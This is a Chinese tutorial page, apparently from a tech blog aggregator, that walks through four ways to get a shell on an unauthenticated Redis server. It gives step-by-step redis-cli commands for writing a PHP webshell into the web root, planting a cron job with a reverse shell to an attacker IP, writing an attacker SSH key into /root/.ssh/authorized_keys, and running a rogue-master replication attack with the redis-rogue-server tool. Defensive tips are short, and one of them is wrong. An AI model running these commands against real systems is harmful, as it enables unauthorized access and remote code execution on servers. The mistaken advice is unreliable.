当前位置: 首页 > news >正文

Redis四种GetShell方式完整教程

Redis作为高性能内存数据库,若未正确配置认证和访问控制,可能被攻击者利用实现远程代码执行(GetShell)。本文详细讲解四种常见的Redis GetShell方式,涵盖原理、操作步骤及防御建议。

方式一:直接写入Shell脚本​

​原理​

通过Redis的CONFIG SET命令修改数据库存储路径和文件名,将恶意脚本写入Web目录,利用Web服务解析执行。

​操作步骤​

​1. 环境准备​
  • 目标Redis服务未授权访问(绑定0.0.0.0:6379且无密码)。
  • 已知目标Web服务路径(如/var/www/html)。
​2. 连接Redis​

使用redis-cli连接目标Redis:

redis-cli -h 目标IP -p 6379
​3. 修改Redis配置​

通过CONFIG SET命令设置数据库存储路径和文件名:

CONFIG SET dir /var/www/html  # 修改存储路径为Web目录
CONFIG SET dbfilename shell.php  # 设置文件名为shell.php
​4. 写入恶意脚本​

使用SET命令写入PHP WebShell内容:

SET shell "<?php system($_GET['cmd']);?>"
​5. 保存配置​

执行SAVE命令将数据持久化到磁盘:

SAVE

此时/var/www/html/shell.php文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami验证。

​防御建议​

  • 限制Redis访问IP(bind 127.0.0.1)。
  • 设置强密码(requirepass)。
  • 禁止Redis写入系统关键目录(如/var/www)。

​方式二:定时任务写入反弹Shell​

​原理​

通过Redis的CONFIG SET修改dir/var/spool/cron/(Linux定时任务目录),写入反弹Shell的定时任务,触发后连接攻击机。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标系统为Linux,且Redis进程有权限写入/var/spool/cron/
​2. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /var/spool/cron/  # 修改存储路径为cron目录
CONFIG SET dbfilename root      # 文件名为root(针对root用户的cron)
​3. 写入反弹Shell命令​

反弹Shell到攻击机(假设攻击机IP为192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

​注意​​:

  • \n\n用于避免破坏cron文件格式。
  • 定时任务每分钟执行一次,连接攻击机。
​4. 保存配置​
SAVE

攻击机监听端口:

nc -lvvp 4444

若连接成功,可执行任意命令(如whoami)。

​防御建议​

  • 限制Redis对系统目录的写入权限。
  • 监控/var/spool/cron/目录的异常修改。

​方式三:写SSH公钥登录服务器​

​原理​

通过Redis写入~/.ssh/authorized_keys文件,将攻击者的SSH公钥添加到目标服务器,实现免密登录。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标服务器开启SSH服务且Redis进程有权限写入/root/.ssh/(或当前用户目录)。
​2. 生成SSH密钥对​

在攻击机上生成密钥对(若已有可跳过):

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub
​3. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /root/.ssh/  # 修改存储路径为.ssh目录
CONFIG SET dbfilename authorized_keys  # 文件名为authorized_keys
​4. 写入公钥​

将公钥内容写入Redis(需替换实际公钥):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
​5. 保存配置​
SAVE

攻击机直接SSH登录目标服务器:

ssh root@目标IP

无需密码即可登录。

​防御建议​

  • 限制Redis对/root/.ssh/目录的访问。
  • 禁用Redis的SAVE命令(通过rename-command SAVE "")。

​方式四:Redis主从复制GetShell​

​原理​

利用Redis主从复制机制,诱骗目标Redis作为从节点,加载攻击者构造的恶意RDB文件,在加载过程中执行任意代码。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 攻击机搭建恶意Redis服务(需编译支持动态模块的Redis版本)。
​2. 攻击机生成恶意RDB文件​
  • 使用redis-rogue-server工具(需Python环境)生成包含恶意模块的RDB文件:
    git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    cd redis-rogue-server
    pip3 install -r requirements.txt
    python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP
    工具会自动生成恶意RDB文件并启动监听。
​3. 配置目标Redis为主从复制​

在攻击机上执行:

redis-cli -h 目标IP -p 6379
SLAVEOF 攻击机IP 6379  # 将目标Redis设为从节点,连接攻击机
CONFIG SET masterauth ""  # 若主节点有密码需配置(此处无密码)

目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。

​4. 获取反弹Shell​

攻击机监听端口(如4444):

nc -lvvp 4444

目标Redis加载恶意模块后,攻击机将收到反弹Shell。

​防御建议​

  • 禁用主从复制功能(replica-read-only yes)。
  • 升级Redis至最新版本(修复已知漏洞)。

​总结与防护措施​

​方式​​关键利用点​​防御方法​
直接写入Shell修改dirdbfilename限制写入目录、设置密码、禁用高危命令
定时任务反弹Shell写入/var/spool/cron/监控cron目录、限制Redis权限
SSH公钥登录写入~/.ssh/authorized_keys限制.ssh目录访问、禁用Redis写入系统文件
主从复制GetShell加载恶意RDB文件禁用主从复制、升级Redis版本

​通用防护建议​​:

  1. ​最小化暴露​​:禁止Redis绑定公网IP,使用防火墙限制访问源。
  2. ​强认证​​:设置复杂密码(requirepass)。
  3. ​定期审计​​:检查Redis配置和系统关键目录(如/var/www/root/.ssh/)。
  4. ​日志监控​​:记录Redis操作日志,设置异常告警。

通过本文的详细分析,读者可深入理解Redis GetShell的原理及防御方法,提升系统安全性。

http://www.dtcms.com/a/303099.html

相关文章:

  • 使用Docker在Rocky Linux 9.5上在线部署LangFlow
  • 【STM32编码器接口测速】实现测速功能
  • 删除二维特征图中指定区域的样本
  • linux系统----Ansible中的playbook简单应用
  • 【Java EE】多线程-初阶-线程的状态
  • java里List链式编程
  • 4、如何生成分布式ID?
  • Linux->模拟实现 fopen/fread/fwrite
  • Bruce Momjian 深圳 meetup 回顾
  • 大模型基础设施搭建 - 操作系统centos7
  • SDRAM
  • CTF-Web学习笔记:文件包含篇
  • 阿里给AI To C战略戴上眼镜
  • 4.应用层自定义协议与序列化
  • JUC线程池: ScheduledThreadPoolExecutor详解
  • VMWARE -ESXI-ntp时间同步无法启动异常处理
  • Go-Elasticsearch Typed Client 使用命名、结构与约定
  • Java 大视界 -- Java 大数据在智能安防入侵检测系统中的多源数据融合与误报率降低策略(369)
  • AI原生应用:从人机关系重构到数字空间革命
  • 【分布式版本控制系统】Git的使用
  • 力扣17:电话号码的字母组合
  • 若依【(前后端分离版)SpringBoot+Vue3】
  • Android通知(Notification)全面解析:从基础到高级应用
  • 数据结构:下三角矩阵(Lower Triangular Matrix)
  • Eigen 中矩阵的拼接(Concatenation)与 分块(Block Access)操作使用详解和示例演示
  • 秩为1的矩阵的特征和性质
  • WireShark 抓包
  • Spring Boot项目生产环境部署完整指南
  • 数学建模算法-day[13]
  • 判断回文链表【两种O(n)时间复杂度】